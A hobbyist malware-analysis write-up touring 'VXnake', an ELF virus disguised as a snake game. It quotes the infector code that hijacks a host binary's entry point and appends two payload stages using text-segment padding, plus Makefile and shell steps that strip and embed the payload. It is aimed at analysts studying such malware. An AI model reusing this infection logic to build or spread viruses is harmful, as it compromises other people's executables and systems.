┌───────────────────────┐
                                                                 ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                                 │ █   █ █ █ █   █       │
                                                                 │ █   █ █ █ █▀▀▀▀       │
                                                                 │ █   █   █ █     ▄     │
                                                                 │                 ▄▄▄▄▄ │
                                                                 │                 █   █ │
                                                                 │                 █   █ │
                                                                 │                 █▄▄▄█ │
                                                                 │                 ▄   ▄ │
                                                                 │                 █   █ │
                                                                 │                 █   █ │
                                                                 │                 █▄▄▄█ │
                                                                 │                 ▄▄▄▄▄ │
                                                                 │                   █   │
A Brief Tour of VXnake by anonymous_                             │                   █   │
~ hexadecim8                                                     └───────────────────█ ──┘

Follow along with the code found here: vxnake1.tar.gz

00000000000
00/Intro\00
00000000000

I've been poking around the TMP clubhouse for a while, and the crew decided to give me
the oddest bit of ELF they could find for my first write up. For anyone who had the 
Nokia phone in middle school (you know the one) you'll remember the classic game "snake".
Well, this game of snake comes with some added elf excitement.

This is a brief introduction to this code and a more in-depth analysis may happen at a 
later date.


11111111111111111111
11/File Structure\11
11111111111111111111

The program drops with a single directory aptly named 'virus'. The following file struct
should help apprise the reader of all of the relevant locations:

Virus
--> build.sh
--> clean.sh
--> gen_payload
----> crt0.s
----> fix.sh
----> Makefile
----> politic.c
----> wrapper.h
----> include
--> gripe
----> host.c
----> inf.c
----> Makefile
--> second_stage
----> crt0.s
----> fix.sh
----> Makefile
----> politic.c
----> wrapper.h
----> include
--> snake
----> bkp
----> LICENSE
----> link.ld
----> Makefile
----> ncurses_include
----> ncurses_lib
----> README.md
----> src
------> backend.c
------> backend.h
------> frontend.c
------> frontend.h
------> main.c


222222222222222
22/Questions\22
222222222222222

Sure, we could start by asking questions. Of course a few come to mind such as, 'why would
you go through the trouble of including a fully implemented game of snake for an ELF 
virus?'. We may never know the answer, but the code is indeed fully implemented:

---/begin code break\---

enum Status move_snake(Board* board, enum Direction dir) {
  // Create a new beginning. Check boundaries.
  PointList* beginning = next_move(board, dir);
  if (beginning == NULL) {
  }

  // If we've gone backwards, don't do anything
  if (board->snake->next && is_same_place(beginning, board->snake->next)) {
    beginning->next = NULL;
    free(beginning);
    return SUCCESS;

   ...

---/end code break\---

So we know that the program has a fully-built game, but what about the virus part? Under 
the 'gripe' directory, there is a file called 'inf.c' that appears to be the first generation
infector.

In inf.c, we can see that the struct 'politic_entry' is used to help deliver the payload.

---/begin code break\---

new_entry = phdr[i].p_vaddr + phdr[i].p_memsz + politic_entry;

---/end code break\---


It's an odd bit of code, but does some more fun and interesting things later on.

3333333333333333333333333
33/Virus Functionality\33
3333333333333333333333333

The virus and entrypoints are encapsulated in the following lines:

---/begin code break\---

//Patching the jmp ORIGINAL_ENTRY_POINT
    *(uint32_t *)real_entry = -end_of_text + original_entry - patch_offset - 4;
    //Saving the offset of patch in the payload
    *(uint32_t *)(real_entry + 4) = (uint8_t *)real_entry - politic;
    //Saving offset of payload entry on payload
    *(uint64_t *)(real_entry + 8) = politic_entry;
    //Saving the payload size in payload
    *(uint64_t *)(real_entry + 16) = politic_len;
    //Patch the addr of the second payload
    *(uint64_t *)(real_entry + 24) = (data_vaddr - new_entry) + bss_size;
    //Save second stage entry
    *(uint64_t *)(real_entry + 32) = payload_entry;
    //Save second stage len
    *(uint64_t *)(real_entry + 40) = payload_len;

    printf("offset from end of text to end_of_data = %lu\n", end_of_data - end_of_text);
    printf("off end_datavaddr - newentry =%lu\n", data_vaddr - new_entry);
    ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,
               S_IRUSR | S_IXUSR | S_IWUSR);


    write(ofd, host_mem, end_of_text);
    //[EHDR][PHDRs][TEXT]
    write(ofd, politic, politic_len);
    //[EHDR][PHDRs][TEXT][VIRUS]
    lseek(ofd, PAGE_SIZE - politic_len, SEEK_CUR);
    //[EHDR][PHDRs][TEXT][VIRUS+PAD]
    write(ofd, host_mem + end_of_text, end_of_data - end_of_text);
    //[EHDR][PHDRs][TEXT][VIRUS+PAD][DATA]
    lseek(ofd, bss_size, SEEK_CUR);
    //[EHDR][PHDRs][TEXT][VIRUS+PAD][DATA][BSS]
    write(ofd, payload, payload_len);
    //[EHDR][PHDRs][TEXT][VIRUS+PAD][DATA][BSS][VIRUS2]
    write(ofd, host_mem + end_of_data, st.st_size - end_of_data);
    //[EHDR][PHDRs][TEXT][VIRUS+PAD][DATA][BSS][VIRUS2][SHDRs]

---/end code break\---

The VIRUS code at the beginning is added to the end of the text segment using the "Silvio" 
method. VIRUS uses mmap to load VIRUS2 from the data segment into a memory
location that is executable, so no permissions changes are needed to the data segment.

You may have also noticed some .sh files in the file struct at the top of this write-up.
These scripts help format the data to be inserted as the payload into memory.

4444444444444444444444
44/Forbidden Linker\44
4444444444444444444444

Another thing you may have noticed was the linker script under the snake sub-directory. 
The linker script does what all linker scripts are designed to do - bring all of the 
different C and assembly files together to create an executable (in this case, an ELF 
exe of course!) which on its own wouldn't be all that weird, except for what happens next
in this Makefile;

---/begin code break\---

CFLAGS=-Wl,-N -fno-builtin -nostdlib -nodefaultlibs -fPIC -pie -mmanual-endbr\
 -fdata-sections -ffunction-sections -s 
all:
    gcc  -c -w $(CFLAGS) -o payload.o payload.c
    
    objcopy --remove-section=.note.GNU-stack payload.o
    objcopy --remove-section=.eh_frame payload.o
    
    ld -s -S -e payload --hash-style=sysv  -N --no-eh-frame-hdr --build-id=none --gc-sections\
        -o payload payload.o --no-dynamic-linker -pie -pic

    objcopy --remove-section=.comment payload
    strip -s payload
    strip -R .dynamic payload
    strip -R .dynsym payload
    strip -R .dynstr payload
    strip -R .eh_frame payload
    
    bash fix.sh

---/end code break\---

It is interesting and slightly unconventional (although perfecly functional) to see
objcopy being used like this inside a Makefile. But wait, there's more!


5555555555555555555555555555
55/Forbidden Shell Script\55
5555555555555555555555555555

You'd think that building the executable would be the end of the story, but VXsnake is not
yet ready to give up the rest of its secrets. Those secrets lie in the fix.sh script under
the second_stage subdirectory:

---/begin code break\---
#!/bin/bash

#strip shstrtab section and section headers
dd if=./payload of=./TMpayload bs=1 \
    count=$(readelf -S payload | grep shstrtab | awk '{print "0x"$6}' | printf "%d" $(cat /dev/stdin))

#ehdr->e_shnum = 0;
#ehdr->e_shstrndx = 0;
printf "\x00\x00\x00\x00" \
    | dd if=/dev/stdin of=./TMpayload seek=60 bs=1 count=4 conv=notrunc

#ehdr->e_shoff = 0;
printf "\x00\x00\x00\00\x00\x00\x00\00" \
    | dd if=/dev/stdin of=./TMpayload seek=40 bs=1 count=8 conv=notrunc

readelf -h TMpayload | grep Entry | awk '{print $4}' |\
 printf "unsigned long payload_entry = 0x%x;\x0a" $(($(cat /dev/stdin)-(64+2*56)-0x400000)) > payload.h

dd if=./TMpayload of=./payload skip=$((64+2*56)) bs=1

chmod +x payload
xxd -i payload >> payload.h

---/end code break\---

The most fun part about fix.sh is the very last two lines where the payload executable 
generated by the linker  script is then rebuilt into C shellscript.


666666666666
66/Return\66
666666666666

What a ride! There are some additional items involved in VXsnake that we, honestly, have
not yet figured out.

What VXsnake does do is show just how dynamic ELF builds can be, and how many twists and
turns code compilation can take. Malware analysts in particular should take note of some
of the techniques used by VXsnake to better understand just how convoluted ELF malware 
can be.